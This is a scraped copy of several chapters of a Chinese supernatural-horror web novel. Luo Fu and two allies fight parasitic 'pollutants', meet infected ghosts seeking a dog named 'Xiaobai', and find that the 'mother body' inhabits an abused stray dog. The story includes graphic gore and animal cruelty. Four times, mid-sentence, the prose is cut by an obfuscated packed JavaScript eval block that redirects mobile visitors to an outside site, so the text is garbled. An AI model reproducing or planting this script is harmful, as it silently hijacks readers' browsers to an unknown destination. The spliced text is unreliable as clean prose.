封玉眸光一凛,瞬间原地消失,下一秒出现在目标污染物身后,一把黑金色的长刀“唰”的刺入它的头部! 说是“头部”,其实是封玉单方面的猜测。 这只污染物完全没有人形,它呈现出的形象是一个蛋形的灰黑色漩涡,“身体”全是不断逆时针旋转的旋儿,外轮廓长满了黑色卷毛,丑得令人作呕。 封玉很难在这样的污染物身上准确找到致命点,只能抱着“它毕竟是人类的身体转化而来,或许攻击最上方比较有可能致命”这样的念头去尝试攻击。 然而,幸运之神并没有降临。 他手里的长刀仿佛刺入了一个虚无空间里,甚至被对方的“漩涡”牵引着大力扯入。若不是封玉及时将刀收进储物空间,只怕连这把陪伴多年的武器都要失去! 他来不及多想,一个瞬移拉开距离。其他污染物立刻调头冲了过来,好在他虽然不能逃离这片区域,却能在短距离内与它们拉扯片刻。 与此同时,刘杰使出【影子戏法】,借着漆黑难辨的身影和暴增的速度在众多污染物之间闪转腾挪,最终冲至那只“漩涡”身后,将一把锋利的厨师刀狠狠砍在它最外层的皮毛上! 他目睹了封玉的攻击失败,因此反其道而行,选择了看上去似乎很难对其造成伤害的位置。 而这一次,总算是有所收获。 “吼——”的一声,“漩涡”发出极度痛苦的嚎叫,身体上的漩涡出现杂乱无章的变化,随即迅速转身,向静立在中央的“罗浮”身边奔逃而去! 刘杰一击得手,好不容易看到希望自然不愿意就此放弃,咬咬牙紧追而上。 可当那把厨师刀再次牢牢砍在“漩涡”皮毛上的同时,一只纤长白皙的手“啪”的按在了他的肩膀上。 清冷危险的声音在耳畔响起:“剥——夺——” 随着这道话音落下,刘杰脑子里忽然传来“嗡嗡”两声轰鸣。他下意识想要使用能力脱逃,却发现自己本该轻盈的脚步竟变得无比沉重。 就像没有用出【影子戏法】时的普通人。 他的能力……似乎突然消失了! 同一时间,封玉刚从一群包围住自己的污染物之间瞬移出来,只见刘杰的肩被“罗浮”抓住,救人的念头盖过一切,来不及多想,立刻瞬闪而至,手中长刀迅速挥出! “快跑!别让她碰到!” 电光石火之间,封玉听见刘杰目眦欲裂地喊出这句话。 可一只看似毫无攻击力、软绵绵的手,已经触碰到了他的手背。 “剥、夺。” 两个字被对方轻轻吐出来,封玉猛然抬头,对上了“罗浮”眼底残忍的笑意。 他大感不妙,连忙抓住刘杰的胳膊,想使用瞬移带人远离,却发现……自己居然失去了特殊能力。 “罗浮”嘴角咧开一个张狂至极的笑,双臂大展,扬声道:“你们有三十秒,家人们,狂欢——” 突然,她的声音戛然而止,脸颊肌肉不受控制地狠狠颤动,眼珠在眼眶里转出不可思议的角度,嘴巴还半张着,剩下的话却无论如何都无法说出口! 封玉愣了半秒便反应过来,大力扯了一把还在发懵的刘杰,大喊道:“还不快跑?!” 此刻二人展现出了极大的默契,不约而同向两个方向狂奔,试图以此分散污染物的围攻,尽可能坚持到“三十秒”。 但很快,二人同时动作一顿,疑惑地回头看去——那些污染物好像被什么无形的屏障给拦住了,全部挤在一个地方,正张牙舞爪地拍打着空气,看上去极其的不甘心! 封玉奇怪得皱了皱眉,紧接着右肩一沉,竟有只手悄无声息地搭在了那里。 他脊背一寒,瞬间挥刀砍去,被早有预料的对方轻松躲过。 “喂,你倒是先搞清楚状况再动手啊。” 罗浮笑吟吟站在他前方一米之处,故作委屈地说:“……我可是好不容易才挣扎出来救你们的诶,不说声谢谢吗?” 封玉闻言愣在那里,好一会儿才表情呆滞地问:“你是……罗浮?” 罗浮回头看了一眼那些被“结界”困在其中的污染物:“它们暂时出不来,先带刘杰离开这里再说。” 她将被污染物剥夺的瞬移能力还给封玉,对方当即将另一边的刘杰带了过来。 三人迅速离开这个是非之地,找到一片安全的藏身之处后,刘杰迫不及待地发问:“这究竟是怎么回事?你真是罗浮?不是污染物又在憋什么坏吧?” 罗浮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679011|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“……当然不是。” 事情还要从她察觉到的那三个疑点说起。 那些疑点让她产生了一个猜测——既然她是一道意识力,在“肉巢”内发生的事件就很可能与她的“想象”有关。 在罗浮不知道自己是“意识体”的时候,她认为自己可以召唤出长刀,所以刀便出来了。 当利刃刺入第一个肉.洞、碰到某种东西时,她身为人类的常识令她在自己都没察觉到的时候下意识想到“刀刺到了肉会流血”,因此拔/出的刀尖上便有了血。 后来她找出满地昏迷的“罗浮”,又想:如果在自己身体上制造点痕迹,其他的“自己”会不会也出现同样的痕迹? 所以当她割下一缕头发时,她们便全都少了一缕头发。 总之,那一切的一切,都与她当时没放在心上的【念头】有关。 既然知道了关键,那唤醒沉睡的其他意识体便只是时间上的问题了。 但偏偏就是这个“时间”,居然紧迫得令她心惊胆战! 罗浮一直能通过“光幕”看到外面发生了什么,她眼睁睁看着封玉和刘杰陷入危机,差点儿被污染物们吞没,急得满头大汗却无能为力。 还好……总算在最关键的时刻,被唤醒的28个意识体与她融为一体,成功抢回了自己的身体。 “说起来,我还因祸得福了呢。” 罗浮摊开手掌,看着掌心里纵横交错的纹路,笑说:“我似乎融合了那只蜕形种的‘剥夺’能力,让我自己的能力进化了。” 【令人不齿的抄袭者】 小说界的抄袭事件总是层出不穷,谁也没想到,连你也是这样一个人。 从现在起,只要产生身体接触,你就可以拿走别人的能力,并将其稍作润色后化为己用——但要小心,做了丑事总有东窗事发的那一天,不属于你的东西早晚要还给人家。 而在那之后,身败名裂的你将会获得“令人不齿”的debuff,持续时间1小时。 简单来说,就是罗浮可以暂时剥夺别人的能力化为己用——能使用多长时间目前未知,猜测可能与那个能力的强弱程度有关。 她刚才就是使用【抄袭者】剥夺了“漩涡”制造结界的能力,困住那些污染物救走了封玉和刘杰。 除此之外,她原本的【一句话故事】能力依然存在,【抄袭者】属于它的进阶能力。 “就是不知道这个debuff具体是什么效果。” 罗浮有些担心地说:“如果它会让我失去行动能力的话……” 一句话都没来得及说完,她眼前突然闪过一道寒芒,一把黑金色的长刀毫无预兆地破空而来,直刺面门! 罗浮迅速闪身躲过,惊愕道:“封玉,你疯了?!” 封玉一击未中,长刀直挺挺指向她的脸,愤怒道:“抄袭狗,老子见你一次打你一次!呸!” 与此同时,刘杰硬邦邦的拳头骤然挥来。 罗浮:“……” 行,debuf是吧。 11. 母体在那儿 好在“抄袭者”再怎么可耻也没有到非被追杀至死的地步。 罗浮躲过二人的攻击,远远逃走之前还冲他们喊了一声:“一个小时之后见!” 得到的回应是那两人异口同声的一个“滚”字。 ……有那么一瞬间,罗浮都以为自己真干了什么千夫所指的丑事。 她叹了口气,抬头看看方向,孤身一人默默朝左边的小路走去。 在蜕形种侵占身体、继承她记忆的同时,罗浮也获取了对方的记忆和思想。 所以她知道——长安里小区三栋附近,是对蜕形种非常重要、不惜一切代价都要保护的区域。 而除了母体,罗浮想不到其他答案。 她从不起眼的地方小心翼翼绕着向前走,在快要接近三栋位置的时候,对自己轻轻说了一句话:“我隐身了。” 经过之前的实战,罗浮掌握了一些经验:如何利用【一句话故事】达到最好的效果、耗费最小的能量是门很大的学问。 比如“蜕形种都看不见我”和“我隐身了”都能得到相同的结果。 可前者需要作用于范围内所有的蜕形种,必定要消耗极大的能量;而后者却只需要作用于罗浮一个人,消耗自然也要少得多。 再加上身体被蜕形种使用过的缘故,罗浮感觉体内的能量格外充沛,在用出【一句话故事】后连一丁点儿的不适感都没出现。 此刻,她谨慎地避开地面那些容易弄出声响的碎石,轻手轻脚走了出去。 三栋也早就变成了一片废墟。 经过一番游走探查,罗浮果然在那些不起眼的阴暗角落里发现了藏起身形的污染物。 根据蜕形种残留的记忆,她知道“母体”其实就是污染区内第一个降临的蜕形种。 但母体承载着携带及散播污染源的责任,不仅本体实力不强,侵占目标身躯的速度也极慢。 也就是说,虽然从首批污染物降临地球至今已经过去了两个多月,但“母体”还并未长成,它占领的身体里还保留着原主的意识力。 正是因此,才需要这些污染物在附近严密保护。 得摸过去看看情况——罗浮舔了舔干涩已久的嘴唇,一小步一小步地向着被它们守护的中心点挪过去。 十几分钟后,绕着那堆废墟走了好几圈的罗浮终于发现,原来这堆小山似的废墟内部被掏空了。 外面的碎石、水泥块、各种家具杂物营造出了一个假象,实际上只要通过一道不引人注意的裂隙,就能看见内部有一大块空间。 只是因为实在太黑了,罗浮没办法看出那里面究竟有什么。 那道裂隙对污染物来说过于细小,但她倒是能侧着身子慢慢挤进去。 ……进去看看,还是等debuff消失后与封玉他们会合再来? 罗浮还挺惜命的——她只想了半秒就决定离开这里。 仗着自己有隐身能力,她就在不远处挑了个偏僻杂乱的角落坐下来休息。 之后有很长一段时间,附近安静得落针可闻,仿佛整个世界都不再有任何活物。 于是,当一阵急促的“汪汪”大叫突然爆发的时候,罗浮惊得瞬间弹了起来,浑身汗毛根根竖立,连忙转头四下查看。 在她反应过来那只是狗吠声后,立刻被自己给无语笑了。 可下一秒,她后知后觉意识到——那声音似乎正是从“母体”位置传来的。 它隔着许多残砖断壁,显出几分沉闷感,在空气里一圈圈的回荡。 罗浮抓了抓垂到眼前的发丝,没有莽撞地过去查看。她估算了一下时间,转身向封玉和刘杰的藏身处走去。 然而,她只走了大约五步,一道幽凉奇诡的声音毫无预兆地自身后传来: “你……见过……小白吗……” 罗浮后背一凉,蓦然转身之际,手里已经多出一把通体漆黑的长刀。 虽然没什么战斗经验,更谈不上“身手”,但手中攥着武器的确能给人带来很大的安全感。 只是这所谓的安全感,似乎暂且用不上了。 “你、你见过……小白、白吗?” 那个脑袋被砸得稀巴烂的男人,一只眼珠子掉出了眼眶,只能用仅剩的左眼空洞地望着罗浮所在的方向,变了形的下巴一上一下,再度蹦出这样一个问题来。 他不是污染物,更不是人类——而是一只“阴魂”。 勾魂使原本的工作,就是将这些游荡在人间的阴魂引渡到地府。 虽然罗浮是个活人,但“净化者”却是地府的公职人员,那么理所当然,她能看见阴魂,对方也能看见她。 只不过罗浮现在处于隐身状态,这只阴魂并没有看见她,是感觉到了那股气息,目光才会对着她的方向,说的话也只是凭本能。 罗浮心脏落回肚子里,收起了刀不去管他——她的职位没有引渡阴魂的权利,等事情结束了自然有勾魂使来做。 “你……看、看见……小白了吗?” 果然,他只靠着本能第三次重复了这句话。 罗浮定定看了他一会儿,转身便走。下一刻,刚抬起的脚步无奈顿住。 “你……见过……” 前方,一只下半身被砸成烂泥的阴魂从废墟里爬行而来,虚虚浮浮地开口:“……小白……吗……” 说起来,阴魂应该在人死后大约半小时开始脱离躯壳的。以长安里建筑损害程度来看,早就该有大量大量阴魂散布在小区各处了才对,怎么会到现在才突然遇见了两只? 几乎就在罗浮这个念头刚刚冒出来的一刹那,一道道嗓音不同、内容却完全一样的问题,自四面八方、铺天盖地的回响起来: “你见过……小白吗?” “你……见过小、小白……吗……” “你……” 层层叠叠、循环往复,彷如有僧人正在进行一场永无止境的经文念诵。 罗浮霍然抬头望去—— 恐怕有成百上千那么多只的阴魂,好像都感受到了罗浮的存在,自各处冒了出来。 密密麻麻的,将这片区域围得密不透风。 原来这些不受“实物”阻挡的阴魂一直就在附近的残垣断壁里,废墟彻底淹没了它们的身形,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679012|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以罗浮才没有发觉。 但即使它们每一只都血淋淋的缺胳膊少腿儿,可行动缓慢、思维混沌,罗浮并不感到恐惧,也不觉得它们能对自己造成什么威胁。 她在意的只有一件事:为什么它们全部聚集在这片区域,都重复着那句一模一样的话? “小白”是谁?怎么听上去似乎——像一条狗的名字?! 不久之前刚从母体所在处传来的狗吠声…… 罗浮眯了下眼,虽然暂时理不清,但她总觉得这是个很重要的信息。 她没久留,从阴魂群中找出一条勉强能通行的路,立刻向封玉所在处飞奔而去。 不过,半途中她便意外地遇上了对方。 一个小时的debuff估摸着还差几分钟才结束,好在罗浮处于隐身状态,封玉和刘杰忙着赶路,连看都没看到她。 而二人要去的方向,居然正是三栋那边。 “……那么浓的阴魂气息,一定是出大事了。” 罗浮听见封玉对刘杰说道:“如果你能帮上忙最好,帮不了就跑,去找罗浮。” 说话间,他甩了一沓空白贴纸给对方:“这本来不该给净化者的,可眼下也不得不让你帮忙了——贴在阴魂身体任意位置即可将它们收进去,带回地府就算引渡完成。” 原来是身为勾魂使的封玉感觉到了浓郁的阴魂气息,这才赶过来的。 可他们不知道母体就在那里,更对藏匿在附近的大量污染物一无所知。 罗浮顾不上那么多了,只能用最快的语速开口提醒:“你们先别过去,母体就在那边,还有很多负责保护它的……” “唰——”一把银亮的厨师刀冲着她说话的方向甩了过来。 她侧身闪开,接下没说完的三个字:“污染物!” 话音未落,掉头便跑。 直到双方距离拉开了将近一百米远,那边才传来封玉正常的声音:“我们知道了!先摸过去看看情况!你也小心点儿,时间一到就来跟我们会合啊!” 罗浮头疼地想:以后这【抄袭者】的能力……能不用可千万别用。 她不得不在后面磨磨蹭蹭的,捱过最后一段时间,感觉差不多了,连忙赶了过去。 不知封玉用了什么办法,那些迷迷瞪瞪的阴魂居然变得异常听话——它们乖乖排成长列,一个个走出3栋范围,任由封玉和刘杰贴上了引魂贴纸。 只不过,每一只口中都念念有词,始终不停不歇地重复着那句话。 刘杰似乎烦得不行了,没忍住骂了句脏话:“他大爷的,那小白究竟是个什么玩意儿啊,这么多鬼找它?!” 罗浮没有准确的计时工具,隐着身在一个安全距离试探着开口说:“……母体藏匿的地方,之前传出过狗吠声。” 二人闻言同时惊了一下,封玉眼皮一跳一跳地说:“你能不能先给点儿动静啊?突然说话,差点儿把我再给吓死一次。” 他们没再动手也没骂人,罗浮总算放了心。 她正要说话,却像是要印证她所言非虚似的——母体所在处再度传来了“汪汪汪”的急促狗吠声。 12. 原主的执念 “污染物能看得见勾魂使,而勾魂使和阴魂……本质上应该属于同一类吧?” 一张悬空漂浮的贴纸贴在了阴魂的手臂上,对方顿时消失,空白贴纸却多出了一些姓名年龄之类的简单信息。 封玉看着那张贴纸飘到自己面前来,神色复杂对眼前空气说:“……你这隐身能力就不能先解除?可真够瘆人的。” 可罗浮的声音却从他左侧传来:“我想看看我的能力有没有时限。” 她将话题拉了回去:“这么多阴魂在母体附近徘徊、说话,那些污染物却一点儿也没有过来查看的意思。” 刘杰在一只目光呆滞的阴魂眼前晃了晃手:“可能是它们知道这些阴魂没有威胁,根本没放在心上吧?” 罗浮眉心微蹙:“我倒有另一个想法——封玉,你说阴魂是不是也会被感染呢?它们重复着同一句话,是不是感染症状?” 封玉正在朝一只阴魂身上贴贴纸,闻言动作一僵,脸色在刹那间变得无比苍白。 好一会儿,他怔怔道:“……既然勾魂使会被感染,那阴魂一定也会。” 地府虽然比人间更早遭遇污染物袭击,但当时阴魂都在另一个区域,没有受到波及。而且今夜才是污染物第一次大规模爆发,地府掌握的经验并不比人类多多少。 所以就算是他,也直到此刻被罗浮提醒,才想起这个可能性。 他盯着眼前这只血肉模糊的阴魂,忽地打了个寒颤:“别贴了,这些东西绝对不能带进地府,否则整个地府全得完蛋!罗浮,你的联络器呢?我得马上通知上级!” 罗浮:“之前为了躲污染物,藏在垃圾房附近的碎石里了。” 封玉无奈地拍了下额头:“具体位置告诉我,我去拿。你们先躲起来,别管这些鬼东西了——它们如今算不上阴魂,等我回来再说。” 罗浮连忙描述了位置,封玉急不可待地几个瞬移便消失在了二人视野中。 在刘杰眼里,这里只剩下他一个人,和一群正在感染变异的“预备污染物”。 听着那一叠声的“你见过小白吗”,他忍不住搓了搓胳膊上的鸡皮疙瘩,对着一片空气说:“那咱先找地儿躲躲?” “走啊。”罗浮的声音从离他十米远的地方传来。 刘杰连忙循声追过去,二人找到一处偏僻隐秘的空隙暂时藏身。 “我在想……” “那个……” 确定没被那些阴魂跟来后,二人同时低声说话,又同时停下。 罗浮抬了抬下巴:“你先说。” 刘杰轻轻叹了口气:“我就是挺担心我那几个队友的,好长时间没听见什么动静,不知道他们是不是被抓住了。” 阴差阳错的,罗浮到现在都没见过他口中的队友,不过想来一群愿意冒险对抗污染物的,应该都是很不错的人。 她想了想说:“要不你先去找找,我留下来盯着母体,有什么情况需要帮忙的话,你就过来找我。” 刘杰点头:“也行,那你一个人要当心啊。” 他顿了顿,又想起罗浮刚才没说完的话:“对了,你刚想说什么?” 罗浮摇摇头:“没事,等你和封玉过来再说。” “好,如果顺利的话,我把队友们也都带来帮忙。” 刘杰说完,用了【影子戏法】,一转眼就没了踪迹。 罗浮收回视线,将目光落在远处隐约可见的废墟顶端——正是母体所在处。 她刚才想说的是: 既然这些阴魂正处于被感染状态,那么对污染物来说,它们就是即将转化的“同伴”才对。 成百上千的同伴不断重复着一模一样的话,污染物们为何全然置之不理? 她能想到的答案只有:这件事并不是它们想看到的,或者与它们毫无干系。 第六感告诉罗浮,这或许是一个非常重要的突破口。 “汪——” 远处的废墟里再次传来沉闷的狗吠声。 ……等等,好像有什么念头在脑子里闪了过去。 罗浮眉头紧皱,努力想了片刻,终于将那道一闪而逝的想法抓了出来—— 首先,母体转化成完全体的速度非常慢,至今没有完成,甚至还留有一些身体原主的意识力。 那么……这道意识力是否会通过母体影响到被感染者的思维? 若是如此,就都能解释得通了: 阴魂不断重复的那句话的确与蜕形种们没关系,那代表的是“原主的意识力”,所以蜕形种才会置之不理! “你见过小白吗”——是那具身体原主的执念。 是某个人即使到如此境地也依然挂念着ta的狗? 废墟中那一次次的狗叫声,是“小白”找到“主人”之后,留在那里试图唤醒ta吗? 罗浮从藏身处走出来,转头看向那片密密麻麻数不清的阴魂。 ……整个长安里的阴魂全因这道意识力而汇集在附近,那该是多强的一股执念? 这位主人,一定非常爱ta的小狗。 如果——如果像罗浮夺回身躯时一样,让那具身体的原主意识力压倒母体,这一切是不是就能结束了? 或许ta没有找到抢夺身体的窍门,可罗浮有经验,她完全可以告诉ta该怎么做。 想到这里,罗浮刚好看见封玉几个瞬闪后停在了不远处。 她忙赶过去轻喊:“这边!” 将自己的想法告诉他之后,封玉犹疑道:“当时地府的混战没有出现‘母体’,我没这方面的经验,不知道能不能行得通。 “可如果身体所有权那么容易抢回来的话,就不会有这么多污染物了。” 他叹了口气:“你有没有想过,你能抢回身体不仅是因为找到了方法,还因为你的意识力强度远超常人?要知道——你可是跟污染物同住了两个月都没有受到感染的人啊。” 罗浮怔了怔,垂眸道:“我的确没有考虑过这个。” 她从小到大都只是个普通人,怎么会想到自己有什么过人之处? “不过……” 封玉话锋一转:“我刚才跟司监大人联络时,他说孟常——哦,就是一个非常令人讨厌的家伙,不过看样子你应该没机会见到他了。 “总之,那家伙传回的消息是:击杀母体不能依靠武力,任何攻击都无法杀死它,哪怕将它炸成碎末依然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679013|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会在短时间内恢复原状。” 封玉目光凝重地盯着自认为是罗浮眼睛的位置:“所以你的办法也说不定就是正确的,值得一试。当然,失败的后果……就是丧命。” 罗浮朝旁边迈了一步,躲开封玉落在自己鼻孔处的视线:“如果我死了,你这位勾魂使不是能让我复活吗?” “哪有那种好事!”封玉被她过于天真的想法逗笑了:“灵魂是很脆弱的东西,你的身体和灵魂都不可能再承受一次强行融合。” 一旦死亡,就再也没有机会了。 罗浮磨了磨牙根:“但留在这里也是死,与其慢慢被感染变成那种丑东西,还不如赌上一把。” 而且母体虽然转化过程缓慢,但总有完成的时候——如果拖延到那时,谁知道他们得面对多么恐怖的存在? 封玉赞同道:“那我们现在先想个计划,等刘杰回来就行动。” 其实到这种境地,也没什么特别好的计划了。与其说是商量计划,倒不如说是花了几分钟“制定行动过程”。 之后二人又等了十分钟左右,刘杰始终没回来。 封玉焦躁地踢了踢脚下的泥巴:“不等了。不管他那边什么情况,只要解决母体、净化污染区,一切就都迎刃而解了——就按我们的计划来吧。” 如果这时候去找刘杰,有很大概率会再陷入什么麻烦里。若是耽搁了最重要的任务,那简直就是捡了芝麻丢了西瓜。 罗浮“嗯”了声,低低说道:“我会隐身到我自愿解除它为止。” 后脑位置稍微晕了一下,她缓了几秒便说:“……可以了,万事小心。” “你也一样。”封玉颇为认真地承诺:“别担心,要是遇上危险,不论如何我都会来救你的。” ……如果他说这话时眼神不是落在罗浮鼻子上的话,效果应该会很不错。 罗浮笑了一下:“行,交给你了。” 话音未落,封玉已经转身冲向了那片母体藏身的废墟。 几个瞬移之间,夹杂着他气焰嚣张的辱骂:“蜕形种孙子们,你们亲爷爷来了!赶紧给老子滚出来跪下问安——” 罗浮:……什么乱七八糟的? 封玉的身影一闪一顿的,径直冲着废墟间留出的那道半人宽裂隙而去。 这群污染物的职责是保护母体,怎么可能任由他往里钻? 短短几秒时间,黑暗里便冒出十几只凶猛恐怖的蜕形种,其中几只速度见长的很快拦住了封玉的去路。 封玉停下来,昂首挺胸、气焰嚣张地斜睨着它们,手中虚空一握,便唤出一把黑金色的长刀。 他张狂嗤笑:“来,有本事一起上啊!你们今儿要是杀不了我,我早晚冲进去杀了你们的母体!” 在高大的异形生物面前,他的身影显得像蚂蚁似的单薄渺小,转瞬间便被冲上来的污染物彻底淹没。 可下一刻,他却出现在了包围圈外。 封玉一脚踹在一只污染物的后背上,勾着手指肆意挑衅:“你们过来啊~” 趁着所有污染物被他吸引了注意力,隐身状态的罗浮悄悄从后方绕过去,侧着身子,小心翼翼挤进了那道通往母体所在处的裂隙。 13. 大错特错的推测 被大片碎石瓦砾彻底包裹起来的空间里,即便有些微光线从裂隙透进来,也很快就融进了化不开的黑暗中。 罗浮确信自己睁着眼,可面前只有一片浓黑。 最令人难受的是,她知道那片黑暗里藏着东西,于是人类丰富的想象力立刻发挥出了最强效果,让她明明什么都没看见,却没来由地恐惧到浑身战栗。 偏偏那边的家伙也不出声,仿佛正在黑暗中虎视眈眈地盯着自己。 罗浮咬咬牙,以极低的声音说:“我能看透黑暗。” 在将一切尽收眼底的同时,隐身状态悄无声息地失效了。 她第一时间盯住了黑暗中的那一团黄棕色可疑物质—— 乍看之下,那东西像起床之后被随意团成一团的被褥,乱糟糟的挤在一起。突然,一块脸盆大的区域从前端抬了起来。 罗浮猝然对上两只拳头大小的眼洞,惊得下意识后退半步,紧盯了几秒,才终于弄清那是什么。 在短暂的迷茫后,她默默想道:……之前关于母体的推测,真是大错特错了啊。 谁能想得到呢? 原来蜕形种不光可以污染人形生物,还可以寄生于一只狗。 此时在那片黑暗里,正卧着一只大约三米长度的巨型犬。 刚才它突然抬起窝在前肢上的脑袋,那颗硕大的头望向罗浮的时候,她反应了好一会儿才看出那原来是一颗狗头。 ……只不过,它的两只眼睛都被挖掉了,只留下两个黑洞洞的眼眶,以及蜿蜒而下的血。 罗浮目光下移,心绪复杂地落在它的口部:整个下颌都没了,像是被某种利器给砍掉的,剩下的上半张嘴也没看见半颗犬牙。 视线再往下,便能看清它前面两只被砍断了一大截的腿。 光秃秃的断口处露着白森森的断骨和猩红的碎肉,断裂处参差不齐,似乎并不是一次砍断——光是看一眼就能想象到事发时它该有多么地痛! 更别提它身上被烫掉了大半的皮毛,和腹部那道流出了内脏的豁口。 这一幕多少有些熟悉,罗浮很快想到了之前那些被倒吊在屋子里的人类。 同样的失去皮肤、腹部豁口、流出内脏——若有人说这只狗不是母体,罗浮无论如何都不会相信。 “汪汪汪——” 眼前的巨型犬忽然仰起头来,冲着她所站的位置叫了几声。 之前就觉得狗吠声有些奇怪了,现在罗浮才明白,这是由于它失去了下颌。 也好在它总是突然叫上那么几声,这动静并没有引起外面污染物的注意。 但接下来该怎么办? 在原计划中,罗浮进来之后只要对着“母体中那道意识力”说出如何夺回身体的办法,对方自然会知道该怎么做。 可千算万算,她也没想到母体竟然寄生在了一只狗身上。 ……狗能听得懂那么复杂的话吗? 罗浮一时没了主意,甚至生出了“先离开这里再从长计议”的想法。 但这个念头立刻就被她掐灭了——那些污染物又不是傻子,同样的套路根本不可能用第二次,现在就是他们唯一的机会。 而且必须要快,否则封玉闹出的动静会把其他负责搜索人类的污染物也吸引过来,其中就有一只克制他能力的“漩涡”。 罗浮目光沉沉的看着那只模样凄惨的巨型犬,在脑海中迅速捋清了线索。 虽然皮毛所剩不多,但依然看得出它是一只棕黄色的狗,不太可能是阴魂们口中的“小白”。 那么,其实真相并不难猜。 不是主人在挂念小狗——是小狗在挂念同伴啊。 罗浮半眯起眼,恍惚记起来,她的确在小区里见过黄棕色的狗。 只不过在她印象里那只狗体型很小,是只被人遗弃的流浪狗。 它脾气很好,总对着路人吐出粉色的舌头摇尾乞怜,偶尔便能吃上一大根火腿肠。 ……与眼前这只残缺不全、血肉淋漓的巨型犬相差甚远。 可当那道身影在记忆里渐渐清晰之后,她便一下子认出来了:它的确就是那只狗。 而蜕形种绝不会把它们寄生的身体变成这样。 换句话说:两个多月前有人抓走了这只对人类不设防的流浪狗,并将其残忍地虐杀了。 正好在那时候,母体降临,阴差阳错寄生在了它的身体里。 罗浮心里的恐惧、紧张和戒备,在一瞬间化作了浓重的心疼和愤怒。 那么乖的一条狗啊——哪怕都变成这副模样了,也依然乖乖地窝在那里啊!到底是什么猪狗不如的畜生,能对这样的小动物做出如此残忍的行径?! 罗浮闭了闭眼压下翻滚的心绪,上前一步低声道:“小黄,如果你听得懂——听我说,不论你是要找到小白,还是要杀了那个畜生报仇,我都会帮你。” 在听到“小白”二字的时候,它的耳朵敏锐地动了动。 ……明明被人类害成这样,它却更关心同伴的安危,而非为自己报仇。 罗浮轻叹一声:“你知道小白有可能在哪里吗?给我一些线索,我会尽力帮你找到它的。” 其实到现在她也不知道究竟怎么才能除掉母体,但摆在面前的只有这一条路,那就只好先走走看了。 总好过漫无目的地僵在这里。 “呜……” 面目全非的巨型犬歪了歪脑袋,由于没了下颌而耷拉在脖子上的舌头努力翘了一下,仿佛想要对罗浮露出一个吐舌头的微笑。 罗浮不忍看它,偏开头道:“你也许感觉得到,外面有一些你能控制的家伙,试试看让它们带我去找小白。听懂了吗——去、找、小、白。” 小黄再次发出意味不明的呜咽声。 罗浮只能赌一把,吸了吸鼻子,说:“那么,我就出去等你了。” 再次使用能力隐身后,她挤出裂隙,一眼就看见了正在前面遛污染物的封玉。 一部分污染物已经看透了他调虎离山的把戏,此刻就站在裂隙附近严阵以待。可惜它们反应太迟了,不知道早就有人摸了进去。 罗浮更加小心,一步步踩稳了,无声无息地从它们身边溜走。到安全地带后,回头吹了一声响亮的口哨。 封玉听见声音,几个瞬移朝反方向逃走,很快消失在了污染物的视线里。 那些污染物并没有追出去,毕竟保护母体才是它们的责任。 二人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679014|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前说好的地方会合,罗浮取消隐身能力,飞快描述了里面的情况,就急吼吼地拉着他去找阴魂。 封玉慢吞吞跟在后头说:“一条狗怎么可能听得懂那么复杂的话,又怎么能准确照你说的去做?别忙活了,一定是白费功……” 他话还没说完,一只阴魂突然从旁边的断墙里冒出了半个血糊糊的脑袋。 封玉眼皮一跳,当场被阴魂打了脸:“小白……去找小白……” 罗浮扬扬眉梢:“别把狗想得太笨,它们可能听不懂很复杂的话,但去找小白这种字眼肯定能懂。” 她小时候有过一只小狗,也没人刻意教它什么,可当她妈妈开玩笑地说“去找姐姐”时,它一定会derder地迈着小短腿跑到罗浮身边来。 那只阴魂在二人前方飘飘荡荡,穿过废墟、越过绿化带,最终停在了一处坍塌的楼栋前。 “去找……小白……”它还是这么念叨着,却不再移动了。 这里离母体的位置并不远,如果不是到处都塌了堵了需要绕路的话,也就是两栋楼的距离。 “小白在这儿?”封玉头疼地看着小山似的坍塌物:“如果被埋在这里面,别说一条狗了,就连人都死无全尸。难道我们要把尸体扒拉出来,给那条狗带回去看看?” 